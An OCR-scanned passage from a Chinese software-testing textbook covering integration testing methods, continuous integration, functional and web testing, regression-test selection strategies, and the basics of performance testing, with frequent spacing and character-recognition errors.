定位 和 纠正 非常 困难 ,并且 在 改正 一 个 错误 的 同时 又 可 能 引入 新 的 错误 ,新 旧 错 误 混杂 ,更 
难 断定 出 错 的 原因 和 位 置 。 与 之 相反 的 是 增 量 式 集成 模式 ,程序 一 段 一 段 地 扩展 ,测试 的 范 
围 一 步 一 步 地 增 大 ,错误 易于 定位 和 纠正 ,界面 的 测试 亦 可 做 到 完全 彻底 。 两 种 模式 中 , 增 
量 式 集成 模式 有 一 定 的 优势 ,但 它们 有 各 自 的 优 缺 点 : 
。 渐 增 式 测试 模式 需要 编写 的 软件 较 多 ,工作 量 较 大 ,而 非 渐 增 式 测试 开销 小 。 
。 渐 增 式 测试 模式 发 现 模块 间接 口 错 误 早 ,而 非 渐 增 式 测 试 模式 晚 。 
。 非 渐 增 式 测试 模式 发 现 错误 , 较 难 诊断 ,而 使 用 渐 增 式 测试 模式 ,如 果 发 生 错 误 则 往 
往 和 最 近 加 进来 的 那个 模块 有 关 。 
。 浙 增 式 测试 模式 测试 更 彻底 。 
。 浙 增 式 测试 模式 需要 较 多 的 机 器 时 间 。 
。 使 用 非 渐 增 式 测试 模式 ,可 以 并 行 测试 。 
针对 这 两 种 模式 ,其 集成 方法 有 自 顶 向 下 、 自 底 向 上 、 大 棱 、 三 明治 等 。 在 实际 测试 中 ， 


应 该 将 两 种 模式 有 机 结合 起 来 。 
6.1.3 自 项 向 下 和 自 底 向 上 集成 方法 


在 讲解 自 顶 向 下 与 自 底 向 上 集成 方法 之 前 , 先 来 看 看 两 个 经 常用 到 的 概念 : 当 对 两 个 
以 上 模块 进行 集成 时 ,不 可 能 忽视 它们 和 周围 模块 的 相互 联系 。 为 模拟 这 些 联系 ,也 需要 借 
助 驱 动 程序 和 桩 程序 。 

1, 自 项 向 下 法 (Top-down Integration) 

自 项 向 下 法 ,从 主 控 模 块 (“ 主 程序 ”) 开 始 , 沿 着 软件 的 控制 层次 向 下 移动 ,从 而 逐渐 把 
各 个 模块 结合 起 来 。 在 组 装 过 程 中 ,可 以 使 用 深度 优先 的 策略 ,或 宽度 优先 的 策略 ,如 
图 6-1 所 示 ,其 具体 步骤 是 : 
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深度 优先 : MI 一 M2 一 M5 一 M8 一 M6 一 M3 一 S7 一 S4 
宽度 优先 : M1 一 M2 一 M3 一 S4 一 M5 一 M6 一 S7 一 M8 


图 6-1 自 项 向 下 集成 方法 示意 图 


(1) 对 主 控 模块 进行 测试 ,测试 时 用 桩 程序 代替 所 有 直接 附属 于 主 控 模块 的 模块 。 

(2) 根据 选 定 的 结合 策略 (深度 优先 或 宽度 优先 ) ,每 次 用 一 个 实际 模块 代替 一 个 桩 程 
序 ( 新 结合 进来 的 模块 往往 又 需要 新 的 桩 程序 ) 。 

(3) 在 结合 下 一 个 模块 的 同时 进行 测试 。 

(4) 为 了 保证 加 入 模块 没有 引进 新 的 错误 ,可 能 需要 进行 回归 测试 ( 即 全 部 或 部 分 地 重 
复 以 前 做 过 的 测试 ) 。 

从 第 (2) 步 开始 不 断 地 重复 进行 上 述 过 程 ,直至 完成 。 自 顶 向 下 法 的 主要 优点 是 : 不 需 
要 测试 驱动 程序 ,能 够 在 测试 阶段 的 早期 实现 并 验证 系统 的 主要 功能 ,而 且 能 在 早期 发 现 上 
层 模块 的 接口 错误 。 其 缺点 是 : 需要 桩 程序 ,可 能 遇 到 与 此 相 联 系 的 测试 困难 ,低层 关键 模 
块 中 的 错误 发 现 较 晚 ,而 且 用 这 种 方法 在 早期 不 能 充分 展开 人 力 。 

2. 自 底 向 上 法 (Bottom-up Integration) 


自 底 向 上 测试 从 “原子 ”模块 ( 即 在 软件 结构 最 低层 的 模块 ) 开 始 集成 以 进行 测试 ,如 
图 6-2 所 示 , 具 体 策略 是 : 

(1) 把 低层 模块 组 合成 实现 某 个 特定 的 软件 子 功能 的 族 。 

(2) 写 一 个 驱动 程序 (用 于 测试 的 控制 程序 ) ,协调 测试 数据 的 输入 和 输出 。 

(3) 对 由 模块 组 成 的 子 功能 族 进行 测试 。 

(4) 去 掉 驱 动 程序 , 沿 软件 结构 自 下 向 上 移动 ,把 子 功能 族 组 合 起 来 形成 更 大 的 子 功 能 
We (Cluster). 
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图 6-2 自 底 向 上 集成 方法 示意 图 


从 第 (2) 步 开始 不 断 地 重复 进行 上 述 过 程 ,直至 完成 。 
自 底 向 上 法 的 优 缺 点 与 自 项 向 下 法 刚好 相反 。 
3. 混合 策略 (Modified Top-down Integration) 


在 具体 测试 中 ,采用 混合 策略 : 
(1) 改进 的 自 顶 向 下 法 : 基本 使 用 “ 自 顶 向 下 ”法 ,但 在 测试 早期 ,使 用 “ 自 底 向 上 ”法 测 
试 少数 的 关键 模块 。 


(2) 混合 法 : 对 软件 结构 中 较 上 层 ,使 用 的 是 “ 自 顶 向 下 ”法 ; 对 软件 结构 中 较 下 层 ,使 
用 的 是 “ 自 底 向 上 ”法 ,两 者 相 结 合 ,如 图 6-3 所 示 。 


图 6-3 混合 策略 集成 示意 图 


6.1.4 大 棒 与 三 明治 集成 方法 


1. 大 棒 集 成 方法 (Big-bang Integration) 
采用 大 棒 集 成 方法 ,先是 对 每 一 个 子 模块 进行 测试 (单元 测试 阶段 ) ,然后 将 所 有 模块 一 


次 性 地 全 部 集成 起 来 进行 集成 测试 ,如 图 6-4 所 示 。 因 为 所 有 的 模块 是 一 次 集成 的 ,所 以 很 
难 确定 出 错 的 真正 位 置 、 所 在 的 模块 错误 的 原因 。 


图 6-4 大 棒 集 成 方法 示意 图 


由 于 这 样 , 这 种 方法 并 不 推荐 在 任何 系统 中 使 用 ,适合 在 规模 较 小 的 应 用 系统 中 使 用 。 
2. 三 明治 集成 方法 (Sandwich Integration) 
三 明治 集成 方法 自 两 头 向 中 间 集 成 ,如 图 6-5 所 示 。 
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图 6-5 三 明治 集成 方法 示意 图 


采用 三 明治 方法 的 优点 是 : 它 将 自 顶 向 下 和 自 底 向 上 的 集成 方法 有 机 地 结合 起 来 ,不 
需要 写 桩 程序 ,因为 在 测试 初 自 底 向 上 集成 已 经 验证 了 底层 模块 的 正确 性 。 采 用 这 种 方法 
的 主要 缺点 是 : 在 真正 集成 之 前 每 一 个 独立 的 模块 没有 完全 测试 过 。 

3. 改进 的 三 明治 集成 方法 (Modified Sandwich Integration) 

改进 的 三 明治 集成 方法 ,不 仅 自 两 头 向 中 间 集 成 ,而 且 保证 每 个 模块 得 到 单独 的 测试 ， 
使 测试 进行 得 比较 彻底 ,如 图 6-6 所 示 。 

最 后 ,将 以 上 介绍 的 几 种 集成 测试 方法 进行 一 个 系统 的 比较 , 见 表 6-1。 


图 6-6 改进 的 三 明治 集成 方法 示意 图 


表 6-1 集成 方法 性 能 的 比较 


自 底 向 上 | 自 项 向 下 | 混合 策略 大 棒 三 明治 “| 改进 的 三 明治 
集成 早 早 里 晚 早 早 
基本 程序 能 工作 时 间 晚 早 里 晚 早 早 
需要 驱动 程序 是 否 是 是 是 是 
需要 桩 程序 a 是 是 是 是 是 
工作 并 行 性 中 低 中 高 中 高 
特殊 路 径 测 试 容易 难 容易 容易 中 等 容易 
计划 与 控制 容易 难 难 容易 难 难 
6.1.5 持续 集成 


通常 系统 集成 都 会 采用 持续 集成 的 策略 ,软件 开发 中 各 个 模块 不 是 同时 完成 ,根据 进度 
将 完成 的 模块 尽 可 能 早 地 进行 集成 ,有 助 于 尽早 发 现 Bug, 避 免 集 成 中 大 量 Bug 涌现 。 同 时 
自 底 向 上 集成 时 ,先期 完成 的 模块 将 是 后 期 模块 的 桩 程序 ,而 自 项 向 下 集成 时 ,先期 完成 的 
模块 将 是 后 期 模块 的 驱动 程序 ,从 而 使 后 期 模块 的 单元 测试 和 集成 测试 出 现 部 分 的 交叉 ,不 
仅 节 省 了 测试 代码 的 编写 ,也 有 利于 提高 工作 效率 。 

在 没有 采用 持续 集成 策略 的 开发 中 ,开发 人 员 经 常 需要 集中 开会 来 分 析 软 件 究 竟 在 什 
么 地 方 出 了 错 。 因 为 某 个 程序 员 在 写 自 己 这 个 模块 代码 时 ,可 能 会 影响 其 他 模块 的 代码 , 造 
成 与 已 有 程序 的 变量 冲突 接口 错误 ,结果 导致 被 影响 的 人 还 不 知道 发 生 了 什么 ,Bug 就 出 
现 了 。 这 种 Bug 是 最 难 查 的 ,因为 问题 不 是 出 在 某 一 个 人 的 领域 里 ,而 是 出 在 两 个 人 的 交 
流 上 面 。 随 着 时 间 的 推移 ,问题 会 逐渐 恶化 。 通 常 , 在 集成 阶段 出 现 的 Bug 早 在 几 周 甚至 
几 个 月 之 前 就 已 经 存在 了 。 结 果 , 开 发 者 需要 在 集成 阶段 耗费 大 量 的 时 间 和 精力 来 寻找 这 
些 Bug 的 根源 。 

如 果 使 用 持续 集成 ,这 样 的 Bug 绝 大 多 数 都 可 以 在 引入 的 第 一 天 就 被 发 现 。 而 且 ,由 
于 一 天 之 中 发 生变 动 的 部 分 并 不 多 ,所 以 可 以 很 快 找到 出 错 的 位 置 。 如 果 找 不 到 Bug 究竟 
在 哪里 ,也 可 以 不 把 这 些 讨厌 的 代码 集成 到 产品 中 去 。 所 以 ,持续 集成 可 以 减少 集成 阶段 消 


K Bug 所 消耗 的 时 间 , 从 而 最 终 提 高 软件 开发 的 质量 与 效率 。 


6.2 功能 测试 


功能 测试 可 以 发 生 在 单元 测试 中 ,也 可 以 在 集成 测试 .系统 测试 中 进行 ,软件 功能 是 最 
基本 的 ,需要 在 各 个 层次 保证 功能 执行 的 正确 性 。 在 单元 功能 测试 中 ,其 目的 是 保证 所 测试 
的 每 个 独立 模块 的 功能 是 正确 的 ,主要 是 从 输入 条 件 和 输出 结果 来 判断 是 否 满足 程序 的 设 
计 要 求 。 在 系统 集成 过 程 中 和 系统 集成 之 后 所 进行 的 系统 功能 测试 ,不 仅 要 考虑 模块 之 间 
的 相互 作用 ,而且 要 考虑 系统 的 应 用 环境 ,其 衡量 标准 是 实现 产品 规格 说 明 书 上 所 要 求 的 功 
能 ,特别 需要 模拟 用 户 完成 从 头 到 尾 (end-to-end, 端 到 端 ) 的 测试 ,确保 系统 可 以 完成 实现 
设计 的 功能 ,满足 用 户 的 真正 需求 。 

黑 盒 测试 也 常 被 称 为 功能 测试 ,虽然 这 不 是 一 种 准确 的 说 法 。 在 功能 测试 的 时 候 , 也 可 
以 采用 白 盒 方法 或 灰 盒 方法 ,如 查看 源 代码 、 变 量 在 数据 库 中 的 值 等 ,但 多 数 情况 下 采用 黑 
盒 测 试 方法 。 常 用 的 黑 盒 测 试 方法 很 多 ,如 第 3 章 介 绍 的 等 价 类 划分 法 .边界 值 划 分 法 、 错 
误 推 测 法 、 因 果 图 法 和 组 合 分 析 法 等 。 

功能 测试 比较 容易 理解 ,主要 是 根据 产品 规格 说 明 书 ,来 检验 被 测试 的 系统 是 否 满足 各 
方面 功能 的 使 用 要 求 。 对 于 功能 测试 ,针对 不 同 的 应 用 系统 ,其 测试 内 容 的 差异 很 大 ,但 都 
可 以 归 为 界面 数据 ,操作 、 逻 辑 、 接 口 等 几 个 方面 ,例如 : 

。 程序 安装 .启动 正常 ,有 相应 的 提示 框 ,错误 提示 等 。 

每 项 功能 符合 实际 要 求 。 

。 系统 的 界面 清晰 美观 。 

。 菜单 .按钮 操作 正常 .灵活 ,能 处 理 一 些 异常 操作 。 

。 能 接受 正确 的 数据 输入 ,对 异常 数据 的 输入 可 以 进行 提示 ,容错 处 理 等 。 

e 数据 的 输出 结果 准确 ,格式 清晰 ,可 以 保存 和 读 取 。 

"功能 逮 辑 清楚 ,符合 使 用 者 习惯 。 

。 系统 的 各 种 状态 按照 业务 流程 而 变化 ,并 保持 稳定 。 

"支持 各 种 应 用 的 环境 。 

。 能 配合 多 种 硬件 周边 设备 。 

。 软件 升级 后 ,能 继续 支持 旧版 本 的 数据 。 

。 与 外 部 应 用 系统 的 接口 有 效 。 

在 这 里 ,以 Web 功能 测试 为 例 ,介绍 功能 测试 可 能 涉及 的 范围 。Web 元 素 主要 包括 超 
链接 .图片 XF HTML 语言 .脚本 语言 .表单 等 。Web 页 面 的 功能 测试 就 要 针对 这 些 元 
素 展开 。 虽 然 页 面 也 包含 了 Flash, ActiveX 控件 .插件 (Plugin) 等 元 素 ,这 些 元 素 实际 上 就 
是 小 的 应 用 程序 ,可 以 作为 一 般 应 用 程序 来 测试 ,只 不 过 要 针对 浏览 器 的 不 同 设置 ,进行 相 
应 的 测试 。 浏 览 器 设置 项 很 多 ,特别 是 安全 性 选项 的 设置 ,对 Web 功能 测试 影响 比较 大 ,要 
注意 这 方面 的 测试 。 在 Web 功能 测试 中 ,一般 也 会 完成 其 用 户 界 面 测试 ,例如 页 面 是 否 和 
设计 保持 一 致 ,页 面 元 素 的 尺寸 大 小 、 边 距 、 间 距 、 布 局 是 否 合理 和 美观 ,文字 是 否 有 错误 拼 
写 等 。 


Web 页 面 功能 测试 举例 

1. 页 面 链接 测试 

需要 验证 两 个 问题 : 

(1) 该 页 面 是 否 存在 ,如 页 面 不 可 显示 信息 , 则 视 为 页 面 链 接 无 效 。 引 起 页 面 无 效 
的 因素 有 很 多 种 ,主要 有 页 面 文件 在 Web server 不 存在 、 链 接 的 地 址 不 正确 等 。 

(2) 该 页 面 是 否 跳 转 到 所 规定 的 页 面 ,主要 是 验证 页 面 正确 性 ,这 种 测试 也 应 该 在 
Web 功能 测试 部 分 被 考虑 。 

2. Web 图 形 测试 

Web 图 形 是 一 种 常见 的 显示 信息 的 手段 ,如 GIF 图 片 、Flash 等 。 很 多 时 候 , 图 形 是 
和 文本 混合 在 一 起 使 用 的 ,因此 ,在 Web 图 形 测 试 的 时 候 ,不 仅 要 确认 文本 是 否 正确 , 同 
时 需要 确认 图 片 的 内 容 和 显示 ,如 文字 是 否 正确 地 环绕 图 片 ? 图 片 的 文字 提示 是 否 正 
确 ? 图 片 所 指向 的 链接 是 否 正 确 ? 不 同 分 辩 率 下 的 图 形 显 示 是 否 正确 ? 

3. 表单 测试 

从 设计 的 角度 来 看 ,表单 是 在 访问 者 和 服务 器 之 间 建 立 了 一 个 对 话 ,允许 使 用 文本 
框 , 单 选 按钮 和 选择 菜单 来 获取 信息 ,而 不 是 用 文本 、 图 片 来 发 送信 息 。 通 常情 况 下 ,要 
处 理 从 站 点 访问 者 发 来 的 响应 ( 即 表单 结果 ), 需 要 使 用 某 种 运行 在 Web 服务 器 端的 脚 
本 (如 PHP、JSP) ,同时 在 提交 访问 者 输入 表单 的 信息 之 前 也 可 能 需要 用 到 浏览 器 运行 
在 客户 端的 脚本 (通常 是 使 用 JavaScript)。 在 进行 表单 测试 的 时 候 , 需 要 保证 应 用 程序 
能 正确 处 理 这 些 表单 信息 ,并 且 后 台 的 程序 能 够 正确 解释 和 使 用 这 些 信息 。 举 个 例子 ， 
用 户 可 以 通过 表单 提交 来 实现 在 线 注 册 , 当 注册 完毕 以 后 ,应 该 从 Web 服务 器 上 返回 注 
册 成 功 的 消息 。 


6.3 回归 测试 


无 论 在 进行 系统 测试 还 是 功能 测试 时 , 当 发 现 一 些 严重 的 缺陷 而 需要 修正 时 ,会 构造 一 
个 新 的 软件 包 (Full Build) 或 新 的 软件 补丁 包 (Patch) ,然后 进行 测试 。 这 时 的 测试 不 仅 要 
验证 被 修复 的 软件 缺陷 是 否 真正 被 解决 了 ,而 且 要 保证 以 前 所 有 运行 正常 的 功能 依旧 保持 
正常 ,而 不 要 受到 这 次 修改 的 影响 。 不 希望 已 发 现 的 程序 缺陷 被 修复 了 ,但 出 现 新 的 软件 缺 
陷 , 甚 至 是 更 严重 的 缺陷 ,没有 被 发 现 ,结果 产品 发 布 出 去 了 。 这 就 是 本 节 要 讨论 的 回归 
测试 。 


6.3.1 目的 


回归 测试 的 目的 是 在 程序 有 修改 的 情况 下 保证 原 有 功能 正常 的 一 种 测试 策略 和 方法 ， 
因为 这 时 的 测试 不 需要 进行 全 面 测试 ,从 头 到 尾 测 一 遍 ,而 是 根据 修改 的 情况 进行 有 效 测 
试 。 程 序 在 发 现 严重 软件 缺陷 要 进行 修改 或 版 本 升级 要 新 增 功能 ,这 时 需要 对 软件 进行 修 
改 , 修 改 后 的 程序 要 进行 测试 ,这 时 要 检验 软件 所 进行 的 修改 是 否 正确 ,保证 改动 不 会 带 来 
新 的 严重 错误 。 这 里 所 说 的 关于 软件 修改 的 正确 性 有 两 层 含义 : 


。 所 做 的 修改 达到 了 预定 的 目的 ,如 错误 得 到 了 改正 ,新 功能 得 到 了 实现 ,能 够 适应 新 
的 运行 环境 等 ; 

。 不 影响 软件 原 有 功能 的 正确 性 。 

在 软件 生命 周期 中 的 任何 一 个 阶段 ,只 要 软件 发 生 了 改变 ,就 可 能 给 该 软件 带 来 新 的 问 
题 。 软 件 的 改变 可 能 是 源 于 发 现 了 缺陷 并 做 了 修改 ,也 有 可 能 是 因为 在 集成 或 维护 阶段 加 
入 了 新 的 功能 或 增强 了 原 有 的 功能 。 当 软件 中 所 含 错误 被 发 现时 ,如 果 错 误 跟 踪 与 管理 系 
统 不 够 完善 ,就 可 能 会 遗漏 对 这 些 错 误 的 修改 ; 而 开发 者 对 错误 理解 得 不 够 透彻 ,也 可 能 导 
致 所 做 的 修改 只 修正 了 错误 的 外 在 表现 ,而 没有 修复 错误 本 身 , 从 而 造成 修改 失败 ; 修改 还 
有 可 能 产生 副作用 从 而 导致 软件 未 被 修改 的 部 分 产生 新 的 问题 ,使 本 来 工作 正常 的 功能 产 
生 错 误 。 同 样 ,在 有 新 代码 加 入 软件 的 时 候 , 除 了 新 加 入 的 代码 中 有 可 能 含有 错误 外 ,新 代 
码 还 有 可 能 对 原 有 的 代码 带 来 影响 。 因 此 ,每 当 软 件 发 生变 化 时 ,就 必须 重新 测试 现 有 的 功 
能 ,以 便 确 定 修改 是 否 达到 了 预期 的 目的 ,检查 修改 是 否 损害 了 原 有 的 正常 功能 。 同 时 ,还 
需要 补充 新 的 测试 用 例 来 测试 新 的 或 被 修改 了 的 功能 。 为 了 验证 修改 的 正确 性 及 其 影响 就 
需要 进行 回归 测试 。 

回归 测试 作为 软件 生命 周期 的 一 个 组 成 部 分 ,在 整个 软件 测试 过 程 中 占有 很 大 的 比重 ， 
软件 开发 的 各 个 阶段 都 可 能 需要 进行 多 次 回归 测试 。 在 渐进 和 快速 迭代 开发 中 ,新 版 本 的 
连续 发 布 使 回归 测试 进行 得 更 加 频繁 ,而 在 极限 编程 (eXtreme Programming,XP) 方 法 中 ， 
更 是 要 求 每 天 都 进行 若干 次 回归 测试 。 因 此 ,通过 选择 正确 的 回归 测试 策略 来 改进 回归 测 
试 的 效率 和 有 效 性 是 非常 有 意义 的 。 


6.3.2 策略 及 其 方法 


在 软件 生命 周期 中 ,即使 一 个 得 到 良好 维护 的 测试 用 例 库 也 可 能 变 得 相当 大 ,使 得 每 次 
回归 测试 都 重新 运行 完整 的 测试 包 变 得 不 切实 际 ,时 间 和 成 本 约束 也 不 允许 进行 一 个 完全 
的 测试 ,需要 从 测试 用 例 库 中 选择 有 效 的 测试 用 例 , 构 造 一 个 缩减 的 测试 用 例 组 来 完成 回归 
测试 。 回 归 测试 可 遵循 下 述 基本 过 程 : 

A) 识别 出 软件 中 被 修改 的 部 分 。 

(2) 从 原 基 线 测试 用 例 库 T 中 ,排除 所 有 不 再 适用 的 测试 用 例 ,确定 那些 对 新 的 软件 版 
本 依然 有 效 的 测试 用 例 ,其 结果 是 建立 一 个 新 的 基线 测试 用 例 库 TO. 

(3) 依据 一 定 的 策略 从 To 中 选择 测试 用 例 测试 被 修改 的 软件 。 

(4) 如 果 回 归 测 试 包 不 能 达到 所 需 的 覆盖 要 求 ,必须 补充 新 的 测试 用 例 使 覆盖 率 达 到 
规定 的 要 求 , 生 成 新 的 测试 用 例 集 T1 ,用 于 测试 TO 无 法 充分 测试 的 软件 部 分 。 

(5) 用 TI 执行 修改 后 的 软件 。 

第 (2) 和 第 (3) 步 测试 验证 修改 是 否 破坏 了 现 有 的 功能 ,第 (4) 和 第 (5) 步 测试 验证 修改 
工作 本 身 。 

回归 测试 的 价值 在 于 它 是 一 个 能 够 检测 到 回归 错误 的 受 控 实验 。 当 测试 组 选择 缩减 的 
回归 测试 时 ,有 可 能 忽略 了 那些 将 揭示 回归 错误 的 测试 用 例 , 而 错失 了 发 现 回 归 错 误 的 机 
会 。 然 而 ,如 果 采 用 了 代码 相依 性 分 析 等 安全 的 缩减 技术 ,就 可 以 决定 哪些 测试 用 例 可 以 被 
删除 而 不 会 影响 回归 测试 的 结果 。 选 择 回 归 测 试 策略 应 该 兼顾 效率 和 有 效 性 两 个 方面 , 下 
面 有 几 种 方法 ,在 效率 和 有 效 性 方面 其 侧重 点 是 不 同 的 。 


(1) 再 测试 全 部 用 例 。 选 择 测试 用 例 库 中 的 全 部 测试 用 例 构成 回归 测试 包 , 这 是 一 种 
比较 安全 的 方法 ,具有 最 低 的 遗漏 回归 错误 的 风险 ,但 测试 成 本 最 高 。 再 测试 全 部 用 例 几乎 
可 以 应 用 到 任何 情况 下 ,基本 上 不 需要 进行 用 例 分 析 和 设计 ,但 是 随 着 开发 工作 的 进展 , 测 
试用 例 不 断 增 多 而 带 来 相当 大 的 工作 量 , 受 预算 和 进度 的 限制 。 

(2) 基于 风险 选择 测试 。 基 于 一 定 的 风险 标准 从 测试 用 例 库 中 选择 回归 测试 包 。 首 先 
运行 最 重要 的 ,关键 的 和 可 疑 的 测试 ,而 跳 过 那些 次 要 的 、 例 外 的 测试 用 例 或 那些 功能 稳定 
的 模块 。 运 行 那些 次 要 用 例 即 便 发 现 缺陷 ,这 些 缺 陷 的 严重 性 也 较 低 。 

(3) 基于 操作 剖面 选择 测试 。 如 果 测 试用 例 是 基于 软件 操作 剖面 开发 的 ,测试 用 例 的 
分 布 情况 反映 了 系统 的 实际 使 用 情况 。 回 归 测 试 所 使 用 的 测试 用 例 个 数 可 以 由 测试 预算 确 
定 , 回 归 测 试 可 以 优先 选择 那些 针对 最 重要 或 最 频繁 使 用 的 功能 的 测试 用 例 ,释放 和 组 解 最 
高 级 别 的 风险 ,有 助 于 尽早 发 现 那些 对 可 靠 性 有 最 大 影响 的 故障 。 

(4) 再 测试 修改 的 部 分 。 当 测试 者 对 修改 的 局 部 化 有 足够 的 信心 时 ,可 以 通过 相依 性 
分 析 识 别 软件 的 修改 情况 并 分 析 修 改 的 影响 ,将 回归 测试 局 限于 被 改变 的 模块 和 它 的 接口 
上 。 通 常 , 一 个 回归 错误 一 定 涉 及 被 修改 的 或 新 加 的 代码 。 在 允许 的 条 件 下 ,回归 测试 尽 可 
能 覆盖 受到 影响 的 部 分 。 这 种 方法 可 以 在 一 个 给 定 的 预算 下 最 有 效 地 提高 系统 可 靠 性 ,但 
需要 良好 的 经 验 和 深入 的 代码 分 析 。 

综合 运用 多 种 测试 技术 是 常见 的 ,在 回归 测试 中 也 不 例外 ,测试 者 也 可 能 希望 采用 多 于 
一 种 回归 测试 策略 来 增强 对 测试 结果 的 信心 。 不 同 的 测试 者 可 能 会 依据 自己 的 经 验 和 判断 
选择 不 同 的 回归 测试 技术 和 方法 。 


6.4 非 功能 性 测试 


系统 测试 是 将 经 过 集成 测试 过 后 的 软件 ,作为 计算 机 系统 的 一 个 部 分 ,与 计算 机 硬件 、 
某 些 支持 软件 .数据 和 人 员 等 系统 元 素 结合 起 来 ,在 实际 运行 环境 下 对 计算 机 系统 进行 一 系 
列 的 严格 有 效 的 测试 来 发 现 软件 的 潜在 问题 ,保证 系统 的 运行 。 

人 们 常常 将 非 功能 性 测试 (如 安全 性 、` 可 靠 性 ,性 能 ) 看 作 是 系统 测试 ,以 区 别 于 功能 测 
试 。 压 力 测试 .容量 测试 和 性 能 测试 的 测试 目的 虽然 有 所 不 同 ,但 其 手段 和 方法 在 一 定 程度 
上 比较 相似 ,都 是 采用 负载 测试 技术 。 为 了 模拟 用 户 的 操作 和 监控 系统 性 能 ,特别 针对 基于 
网 络 的 应 用 软件 ( 非 单机 应 用 软件 ), 只 有 借助 于 测试 工具 才能 完成 。 通 常 ,会 使 用 特定 的 测 
试 工具 来 模拟 超常 的 数据 量 或 其 他 各 种 负载 ,监测 系统 的 各 项 性 能 指标 ,如 线程 .CPU 内 
存 等 使 用 情况 .响应 时 间 数据 传输 量 等 。 

安全 性 测试 .可 靠 性 测试 和 容错 性 测试 的 测试 目的 不 同 ,其 手段 和 方法 也 不 同 , 但 有 一 
定 的 联系 ,如 软件 可 靠 性 要 求 通常 包括 了 安全 性 的 要 求 。 虽然 安 全 性 测试 和 可 靠 性 测试 所 
涉及 的 技术 面 比较 广 而 深 , 测 试 人 员 受 到 的 挑战 越 来 越 大 ,但 随 着 互联 网 应 用 越 来 越 普遍 ， 
它们 在 测试 中 也 越 来 越 重要 。 


6.4.1 性 能 测试 


对 于 那些 实时 和 嵌入 式 系统 ,软件 部 分 即使 满足 功能 要 求 ,也 未 必 能 够 满足 性 能 要 求 ， 
如 某 个 网 站 可 以 被 访问 ,而 且 可 以 提供 预先 设 定 的 功能 ,但 每 打开 一 个 页 面 都 需要 1 一 2 分 


钟 , 用 户 不 可 忍受 其 结果 ,也 就 没有 用 户 愿 意 使 用 该 网 站 所 提供 的 服务 。 虽 然 从 单元 测试 
起 ,每 一 测试 步骤 都 包含 性 能 测试 ,但 只 有 当 系 统 真正 集成 之 后 ,在 真实 环境 中 才能 全 面 、 可 
靠 地 测试 系统 性 能 ,系统 性 能 测试 就 是 为 了 完成 这 一 任务 。 性 能 测试 (performance test) 通 过 
测试 以 确定 系统 运行 时 的 性 能 表现 ,如 得 到 运行 速度 ,响应 时 间 、 占 有 系统 资源 等 方面 的 系统 
数据 。 为 了 更 好 地 理解 性 能 测试 , 先 要 了 解 软 件 系统 可 能 承受 的 负载 ,然后 在 这 些 负 载 下 系统 
会 有 怎样 的 行为 表现 , 即 系统 的 性 能 指标 有 哪些 ,还 应 了 解 系统 性 能 测试 的 基本 过 程 。 

1. 系统 负载 

系统 负载 可 以 看 作 是 “并 发 用 户 并 发 数量 十 思考 时 间 十 每 次 请 求 发 送 的 数据 量 十 负载 
模式 ”, 那 么 什么 是 用 户 并 发 数量 .思考 时 间 和 负载 模式 呢 ? 通过 以 下 概念 ,就 比较 容易 理解 
这 个 问题 了 。 
在 线 用 户 : 通过 浏览 器 访问 登录 Web 应 用 系统 后 并 且 还 没有 退出 该 应 用 系统 的 用 
户 。 通 常 一 个 Web 应 用 服务 器 的 在 线 用 户 对 应 Web 应 用 服务 器 的 一 个 Session。 
虚拟 用 户 : 模拟 浏览 器 向 Web 服务 器 发 送 请 求 并 接收 响应 的 一 个 进程 或 线程 。 
并 发 用 户 : 严格 意义 上 说 ,这 些 用 户 在 同一 时 刻 做 同一 件 事情 或 同样 的 操作 ,比如 
在 同一 时 刻 登 录 系 统 、 提 交 订 单 等 。 不 严格 地 说 ,并 发 用 户 同时 在 线 并 操作 系统 ,但 
可 以 是 不 相同 的 操作 ,这 种 并 发 更 接近 用 户 的 实际 使 用 情况 。 在 性 能 测试 中 ,一 般 
采用 严格 意义 上 的 并 发 用 户 , 因 为 同时 模拟 多 个 用 户 运行 一 套 脚 本 ,这 更 容易 实现 。 
如 果 从 虚拟 用 户 或 逻辑 上 理解 ,并 发 用 户 可 以 理解 为 Web 服务 器 在 一 段 时 间 内 为 
处 理 浏览 器 请 求 而 建立 的 HTTP 连接 数 或 生成 的 处 理 线 程 数 。 
用 户 并 发 数量 : 就 是 上 述 并 发 用 户 的 数量 ,可 以 近似 于 同时 在 线 用 户 数量 ,但 不 一 
定 等 于 在 线 用 户 的 数量 ,因为 有 些 在 线 用 户 不 进行 操作 ,或 前 后 操作 之 间 的 间隔 时 
间 很 长 。 
思考 时 间 : 浏览 器 在 收 到 响应 后 到 提交 下 一 个 请 求 之 间 的 间隔 时 间 。 通 过 思考 时 
间 可 以 模拟 实际 用 户 的 操作 ,思考 时 间 越 短 ,服务 器 就 承受 更 大 的 负载 。 当 所 有 在 
线 用 户 发 送 HTTP 请 求 的 思考 时 间 为 零 时 , Web 服务 器 的 并 发 用 户 数 等 于 在 线 用 
户 数 。 
负载 模式 : 就 是 加 载 的 方式 ,例如 是 一 次 建立 200 个 并 发 连接 ,还 是 每 秒 10 个 连接 
逐渐 增加 连接 数 , 直 至 200 个 。 还 有 其 他 的 加 载 方式 ,如 随机 加 载 . 峰 谷 交替 加 
载 等 。 

2. 系统 性 能 指标 

系统 的 性 能 指标 包括 两 方面 的 内 容 : 系统 资源 (CPU 内存 等 ) 的 使 用 率 和 系统 行为 表 
现 。 资 源 使 用 率 越 低 ,一 般 来 说 系统 会 有 更 好 的 性 能 表现 ,从 反方 面 看 ,系统 资源 使 用 率 很 
高 甚至 耗 光 , 系 统 的 性 能 肯定 不 会 好 。 资 源 利用 率 是 分 析 系 统 性 能 指标 进而 改善 性 能 的 主 
要 依据 。 系 统 行为 的 性 能 指标 很 多 ,常见 的 有 : 

。 请 求 响应 时 间 : 客户 端 浏 览 器 向 Web 服务 器 提交 一 个 请 求 到 收 到 响应 之 间 的 间隔 

时 间 。 有 些 测 试 工具 将 请 求 响 应 时 间 表示 为 TLB(Time to Last Byte) ,解释 成 : 从 
发 起 一 个 请 求 开始 到 客户 端 接收 到 最 后 一 个 字 节 所 耗费 的 时 间 。 
。 事务 响应 时 间 : 事务 可 能 由 一 系列 请 求 组 成 .事务 的 响应 时 间 就 是 这 些 请 求 完成 处 


理 所 花 费 的 时 间 。 它 是 针对 用 户 的 业务 而 设置 的 ,容易 被 用 户 理解 。 

。 数据 吞吐 量 : 单位 时 间 内 客户 端 和 服务 器 之 间 网 络 上 传输 的 数据 量 , 对 于 Web 服务 
